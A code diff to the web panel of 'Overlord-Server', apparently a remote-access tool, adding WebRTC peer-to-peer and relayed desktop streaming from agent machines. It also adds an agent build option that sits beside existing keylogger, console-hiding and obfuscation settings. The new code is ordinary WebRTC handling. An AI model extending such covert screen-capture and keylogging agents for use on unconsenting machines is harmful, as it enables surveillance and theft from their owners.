WebRTC

Overlord-Server/public/assets/build.js

@@ -126,6 +126,7 @@ function collectFormSettings() {
     disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false,
     noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
     enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
+    enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
     obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
     garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false,
     garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false,
@@ -180,6 +181,7 @@ function applyFormSettings(settings) {
   if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo);
   if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
   if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
+  if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
   if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
   if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals);
   if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny);
@@ -1379,6 +1381,7 @@ form?.addEventListener("submit", async (e) => {
     hideConsole,
     noPrinting,
     disableKeylogger: !enableKeylogger,
+    enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false,
     outputName: outputNameVal || undefined,
     garbleLiterals: obfuscate ? garbleLiterals : undefined,
     garbleTiny: obfuscate ? garbleTiny : undefined,

Overlord-Server/public/assets/remotedesktop.js

@@ -1,5 +1,7 @@
 import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
 import { checkFeatureAccess } from "./feature-gate.js";
+import { WhepClient } from "./whep.js";
+import { P2PClient } from "./webrtc-p2p.js";
 
 (async function () {
   const clientId = new URLSearchParams(location.search).get("clientId");
@@ -46,6 +48,14 @@ import { checkFeatureAccess } from "./feature-gate.js";
   const statusEl = document.getElementById("streamStatus");
   const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
   const audioCtrl = document.getElementById("audioCtrl");
+  const webrtcMode = document.getElementById("webrtcMode");
+  const webrtcVideo = document.getElementById("webrtcVideo");
+  let whepClient = null;
+  let p2pClient = null;
+  let webrtcActive = false;
+  function getWebrtcMode() {
+    return webrtcMode ? String(webrtcMode.value || "off") : "off";
+  }
   ws.binaryType = "arraybuffer";
 
   let activeClientId = clientId;
@@ -561,6 +571,113 @@ import { checkFeatureAccess } from "./feature-gate.js";
     ws.send(encodeMsgpack(msg));
   }
 
+  function setWebrtcViewActive(active) {
+    webrtcActive = !!active;
+    if (canvas) canvas.style.display = active ? "none" : "block";
+    if (webrtcVideo) webrtcVideo.style.display = active ? "block" : "none";
+  }
+
+  function onWebrtcState(label, s) {
+    console.debug(`webrtc[${label}]: state`, s);
+    if (s === "connected") {
+      setStreamState("streaming", `Streaming (${label})`);
+    } else if (s === "failed" || s === "disconnected") {
+      setWebrtcViewActive(false);
+    }
+  }
+
+  // The canvas path counts WS frames via markFrameReceived + updateFpsDisplay.
+  // WebRTC bypasses WS entirely, so we tap the <video>'s rendered-frame callback
+  // (Chrome/Edge/Firefox 132+) to feed the same counters — otherwise the
+  // frame watcher flips to "No frames" and FPS sticks at --.
+  let webrtcRvfcHandle = 0;
+  let webrtcFpsCount = 0;
+  let webrtcFpsWindowStart = 0;
+  function startWebrtcFrameTicker() {
+    if (!webrtcVideo || typeof webrtcVideo.requestVideoFrameCallback !== "function") return;
+    stopWebrtcFrameTicker();
+    webrtcFpsCount = 0;
+    webrtcFpsWindowStart = performance.now();
+    const tick = (now) => {
+      markFrameReceived();
+      webrtcFpsCount += 1;
+      const elapsed = now - webrtcFpsWindowStart;
+      if (elapsed >= 1000) {
+        const fps = Math.round((webrtcFpsCount * 1000) / elapsed);
+        // Agent and viewer FPS are effectively equal in WebRTC mode — the
+        // browser renders every frame the agent sends, no decode skipping.
+        updateFpsDisplay(fps);
+        webrtcFpsCount = 0;
+        webrtcFpsWindowStart = now;
+      } else {
+        updateFpsDisplay();
+      }
+      webrtcRvfcHandle = webrtcVideo.requestVideoFrameCallback(tick);
+    };
+    webrtcRvfcHandle = webrtcVideo.requestVideoFrameCallback(tick);
+  }
+  function stopWebrtcFrameTicker() {
+    if (webrtcRvfcHandle && webrtcVideo && typeof webrtcVideo.cancelVideoFrameCallback === "function") {
+      webrtcVideo.cancelVideoFrameCallback(webrtcRvfcHandle);
+    }
+    webrtcRvfcHandle = 0;
+  }
+
+  async function startWhep(whepPath) {
+    await stopAllWebrtc();
+    if (!webrtcVideo) return;
+    whepClient = new WhepClient({
+      whepPath,
+      videoEl: webrtcVideo,
+      onState: (s) => onWebrtcState("WebRTC Relayed", s),
+    });
+    try {
+      await whepClient.start();
+      setWebrtcViewActive(true);
+      startWebrtcFrameTicker();
+    } catch (err) {
+      console.warn("webrtc: WHEP start failed, falling back to canvas", err);
+      setWebrtcViewActive(false);
+      whepClient = null;
+    }
+  }
+
+  async function startP2P() {
+    await stopAllWebrtc();
+    if (!webrtcVideo) return;
+    p2pClient = new P2PClient({
+      videoEl: webrtcVideo,
+      send: (msg) => {
+        if (ws.readyState === WebSocket.OPEN) {
+          ws.send(encodeMsgpack(msg));
+        }
+      },
+      onState: (s) => onWebrtcState("WebRTC P2P", s),
+    });
+    try {
+      await p2pClient.start();
+      setWebrtcViewActive(true);
+      startWebrtcFrameTicker();
+    } catch (err) {
+      console.warn("webrtc: P2P start failed, falling back to canvas", err);
+      setWebrtcViewActive(false);
+      const c = p2pClient;
+      p2pClient = null;
+      if (c) { try { await c.stop(); } catch {} }
+    }
+  }
+
+  async function stopAllWebrtc() {
+    stopWebrtcFrameTicker();
+    setWebrtcViewActive(false);
+    const w = whepClient;
+    whepClient = null;
+    if (w) { try { await w.stop(); } catch {} }
+    const p = p2pClient;
+    p2pClient = null;
+    if (p) { try { await p.stop(); } catch {} }
+  }
+
   let monitors = 1;
 
   function populateDisplays(count, monitorInfo) {
@@ -679,13 +796,24 @@ import { checkFeatureAccess } from "./feature-gate.js";
     lastFrameAt = 0;
     resetH264SessionState();
     setStreamState("starting", "Starting stream");
-    sendCmd("desktop_start", {});
+    const mode = getWebrtcMode();
+    if (mode === "relayed") {
+      // Server replies with `webrtc_ready { whepPath }`; startWhep happens then.
+      sendCmd("desktop_start", { webrtc: true });
+    } else if (mode === "p2p") {
+      // Kick off the P2P offer asynchronously; capture starts in parallel.
+      sendCmd("desktop_start", {});
+      startP2P();
+    } else {
+      sendCmd("desktop_start", {});
+    }
   });
   stopBtn.addEventListener("click", function () {
     desiredStreaming = false;
     setStreamState("stopping", "Stopping stream");
     sendCmd("desktop_stop", {});
     disconnectAudio();
+    stopAllWebrtc();
   });
   fullscreenBtn.addEventListener("click", function () {
     if (canvasContainer.requestFullscreen) {
@@ -1154,6 +1282,18 @@ import { checkFeatureAccess } from "./feature-gate.js";
         handleStatus(msg);
         return;
       }
+      if (msg && msg.type === "webrtc_ready" && typeof msg.whepPath === "string") {
+        startWhep(msg.whepPath);
+        return;
+      }
+      if (msg && msg.type === "webrtc_p2p_answer" && typeof msg.sdp === "string") {
+        if (p2pClient) p2pClient.onAnswer(msg.sdp);
+        return;
+      }
+      if (msg && msg.type === "webrtc_p2p_ice") {
+        if (p2pClient) p2pClient.onRemoteCandidate(msg);
+        return;
+      }
       if (msg && msg.type === "input_latency") {
         updateLatency(Number(msg.ms) || 0);
         return;
@@ -1208,11 +1348,13 @@ import { checkFeatureAccess } from "./feature-gate.js";
     desiredStreaming = false;
     disconnectAudio();
     destroyVideoDecoder();
+    stopAllWebrtc();
     setStreamState("disconnected", "Disconnected");
   });
 
   ws.addEventListener("error", function () {
     destroyVideoDecoder();
+    stopAllWebrtc();
     setStreamState("error", "WebSocket error");
   });
 

Overlord-Server/public/assets/webrtc-p2p.js

@@ -0,0 +1,108 @@
+// Browser ↔ agent direct WebRTC peer client.
+//
+// Signaling is multiplexed onto the existing Remote Desktop WS:
+//   browser → server: { type: "webrtc_p2p_offer", sdp }
+//                     { type: "webrtc_p2p_ice",   candidate, sdpMid, sdpMLineIndex }
+//                     { type: "webrtc_p2p_stop" }
+//   server → browser: { type: "webrtc_p2p_answer", sdp }
+//                     { type: "webrtc_p2p_ice", ... }
+//
+// The server proxies these to the agent via its existing WS command channel
+// (sessionId is server-side state, not visible to the browser).
+//
+// Once SDP + ICE settle, the <video> element receives frames directly from
+// the agent — MediaMTX is not involved.
+
+export class P2PClient {
+  /**
+   * @param {object} opts
+   * @param {HTMLVideoElement} opts.videoEl
+   * @param {(msg: object) => void} opts.send  Send a JSON-encodable msg over the RD WS.
+   * @param {(state: string) => void} [opts.onState]
+   * @param {string[]} [opts.iceServers]  STUN URLs. Default: Google public STUN.
+   */
+  constructor(opts) {
+    this.videoEl = opts.videoEl;
+    this.send = opts.send;
+    this.onState = opts.onState || (() => {});
+    this.iceServers = opts.iceServers || ["stun:stun.l.google.com:19302"];
+    this.pc = null;
+    this.pendingRemoteCandidates = [];
+  }
+
+  async start() {
+    if (this.pc) await this.stop();
+
+    const pc = new RTCPeerConnection({
+      iceServers: this.iceServers.map((u) => ({ urls: u })),
+    });
+    this.pc = pc;
+
+    pc.addTransceiver("video", { direction: "recvonly" });
+
+    pc.ontrack = (ev) => {
+      if (ev.track.kind !== "video") return;
+      const stream = ev.streams[0] || new MediaStream([ev.track]);
+      this.videoEl.srcObject = stream;
+      this.videoEl.play().catch(() => {});
+    };
+    pc.onicecandidate = (ev) => {
+      // Trickle ICE: empty candidate signals end-of-gathering — we don't
+      // forward it (Pion infers it on its own).
+      if (!ev.candidate || !ev.candidate.candidate) return;
+      this.send({
+        type: "webrtc_p2p_ice",
+        candidate: ev.candidate.candidate,
+        sdpMid: ev.candidate.sdpMid || "",
+        sdpMLineIndex: ev.candidate.sdpMLineIndex || 0,
+      });
+    };
+    pc.onconnectionstatechange = () => {
+      this.onState(pc.connectionState);
+    };
+
+    const offer = await pc.createOffer();
+    await pc.setLocalDescription(offer);
+    this.send({ type: "webrtc_p2p_offer", sdp: pc.localDescription.sdp });
+  }
+
+  /** Handle an SDP answer relayed from the agent. */
+  async onAnswer(sdp) {
+    if (!this.pc || !sdp) return;
+    await this.pc.setRemoteDescription({ type: "answer", sdp });
+    // Drain any ICE candidates that arrived before the answer.
+    const drain = this.pendingRemoteCandidates;
+    this.pendingRemoteCandidates = [];
+    for (const c of drain) {
+      try { await this.pc.addIceCandidate(c); } catch (e) { console.warn("p2p: queued ice add failed", e); }
+    }
+  }
+
+  /** Add a remote ICE candidate from the agent. */
+  async onRemoteCandidate(msg) {
+    if (!this.pc) return;
+    if (!msg || typeof msg.candidate !== "string" || !msg.candidate) return;
+    const init = {
+      candidate: msg.candidate,
+      sdpMid: typeof msg.sdpMid === "string" ? msg.sdpMid : null,
+      sdpMLineIndex: Number.isInteger(msg.sdpMLineIndex) ? msg.sdpMLineIndex : null,
+    };
+    // If remote description hasn't been set yet, queue.
+    if (!this.pc.remoteDescription) {
+      this.pendingRemoteCandidates.push(init);
+      return;
+    }
+    try { await this.pc.addIceCandidate(init); } catch (e) { console.warn("p2p: ice add failed", e); }
+  }
+
+  async stop() {
+    const pc = this.pc;
+    this.pc = null;
+    this.pendingRemoteCandidates = [];
+    if (pc) {
+      try { pc.close(); } catch {}
+    }
+    try { this.send({ type: "webrtc_p2p_stop" }); } catch {}
+    if (this.videoEl) this.videoEl.srcObject = null;
+  }
+}

Overlord-Server/public/assets/whep.js

@@ -0,0 +1,116 @@
+// Tiny WHEP (WebRTC-HTTP Egress Protocol) client.
+//
+// Wires a <video> element to a server-proxied WHEP endpoint:
+//   1. Create a recvonly video PeerConnection.
+//   2. POST our SDP offer to whepPath, parse the SDP answer.
+//   3. ontrack → attach MediaStream to the <video>.
+//
+// The Bun server proxies all signaling to MediaMTX, so this fetch inherits the
+// existing JWT cookie. ICE/DTLS go straight to MediaMTX over UDP.
+
+export class WhepClient {
+  /**
+   * @param {object} opts
+   * @param {string} opts.whepPath  Path under the same origin, e.g. "/api/webrtc/agents/abc/whep"
+   * @param {HTMLVideoElement} opts.videoEl
+   * @param {(state: string) => void} [opts.onState]
+   */
+  constructor(opts) {
+    this.whepPath = opts.whepPath;
+    this.videoEl = opts.videoEl;
+    this.onState = opts.onState || (() => {});
+    this.pc = null;
+    this.resourceURL = "";
+  }
+
+  async start() {
+    if (this.pc) await this.stop();
+
+    const pc = new RTCPeerConnection({});
+    this.pc = pc;
+    pc.addTransceiver("video", { direction: "recvonly" });
+
+    pc.ontrack = (ev) => {
+      if (ev.track.kind !== "video") return;
+      const stream = ev.streams[0] || new MediaStream([ev.track]);
+      this.videoEl.srcObject = stream;
+      this.videoEl.play().catch(() => {});
+    };
+    pc.onconnectionstatechange = () => {
+      this.onState(pc.connectionState);
+    };
+
+    const offer = await pc.createOffer();
+    await pc.setLocalDescription(offer);
+    await waitIceComplete(pc, 5000);
+
+    // The agent's WHIP publish and the operator's WHEP play start in parallel
+    // when "Start" is clicked. If the operator's WHEP arrives at MediaMTX
+    // before the agent's publish finishes setting up, MediaMTX returns 404
+    // "no stream is available on path ...". Retry briefly to absorb that
+    // race instead of immediately failing back to canvas.
+    const resp = await fetchWithRetry(this.whepPath, {
+      method: "POST",
+      headers: { "Content-Type": "application/sdp" },
+      credentials: "include",
+      body: pc.localDescription.sdp,
+    });
+    if (!resp.ok) {
+      const text = await resp.text().catch(() => "");
+      throw new Error(`WHEP ${resp.status}: ${text || resp.statusText}`);
+    }
+    this.resourceURL = resp.headers.get("Location") || "";
+    const answerSDP = await resp.text();
+    await pc.setRemoteDescription({ type: "answer", sdp: answerSDP });
+  }
+
+  async stop() {
+    const pc = this.pc;
+    const url = this.resourceURL;
+    this.pc = null;
+    this.resourceURL = "";
+    if (url) {
+      try {
+        await fetch(url, { method: "DELETE", credentials: "include" });
+      } catch {}
+    }
+    if (pc) {
+      try { pc.close(); } catch {}
+    }
+    if (this.videoEl) {
+      this.videoEl.srcObject = null;
+    }
+  }
+}
+
+async function fetchWithRetry(url, init, { attempts = 12, delayMs = 400 } = {}) {
+  let last;
+  for (let i = 0; i < attempts; i++) {
+    last = await fetch(url, init);
+    // Only retry the specific "publisher not yet ready" 404 from MediaMTX.
+    // Anything else (auth, network) should fail fast.
+    if (last.status !== 404) return last;
+    const text = await last.clone().text().catch(() => "");
+    if (!/no stream is available/i.test(text)) return last;
+    await new Promise((r) => setTimeout(r, delayMs));
+  }
+  return last;
+}
+
+function waitIceComplete(pc, timeoutMs) {
+  return new Promise((resolve) => {
+    if (pc.iceGatheringState === "complete") return resolve();
+    let done = false;
+    const finish = () => {
+      if (done) return;
+      done = true;
+      pc.removeEventListener("icegatheringstatechange", check);
+      resolve();
+    };
+    const check = () => {
+      if (pc.iceGatheringState === "complete") finish();
+    };
+    pc.addEventListener("icegatheringstatechange", check);
+    setTimeout(finish, timeoutMs);
+  });
+}

Overlord-Server/public/build.html

@@ -390,6 +390,16 @@
                       </div>
                     </label>
 
+                    <label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
+                      <input type="checkbox" name="enable-webrtc" class="w-4 h-4" />
+                      <div class="flex flex-col">
+                        <span class="flex items-center gap-2">
+                          <i class="fa-solid fa-tower-broadcast text-amber-400"></i> WebRTC
+                        </span>
+                        <span class="text-xs text-slate-500">Compile Pion into the agent for WebRTC streaming (P2P + relayed). Adds ~6&nbsp;MB to the binary; leave off if not needed.</span>
+                      </div>
+                    </label>
+
                   </div>
                 </div>
               </div>

Overlord-Server/public/remotedesktop.html

@@ -75,6 +75,14 @@
               <input type="checkbox" id="codecH264" checked /> H.264
             </label>
             <span id="codecMode" class="pill pill-ghost text-slate-100">Codec: auto</span>
+            <label class="flex items-center gap-2 text-slate-200" title="Streaming transport. P2P: browser ↔ agent direct, server only relays signaling. Relayed: through MediaMTX (works behind tougher NATs).">
+              <span class="text-slate-200">Transport</span>
+              <select id="webrtcMode" class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100">
+                <option value="off" selected>Canvas</option>
+                <option value="p2p">WebRTC P2P</option>
+                <option value="relayed">WebRTC Relayed</option>
+              </select>
+            </label>
           </div>
           <div class="flex items-center gap-2">
             <button id="startBtn" class="button primary">
@@ -170,6 +178,20 @@
                 height: auto;
               "
             ></canvas>
+            <video
+              id="webrtcVideo"
+              class="bg-slate-950"
+              autoplay
+              playsinline
+              muted
+              style="
+                display: none;
+                max-width: 100%;
+                max-height: 100%;
+                width: auto;
+                height: auto;
+              "
+            ></video>
           </div>
         </div>
         <style>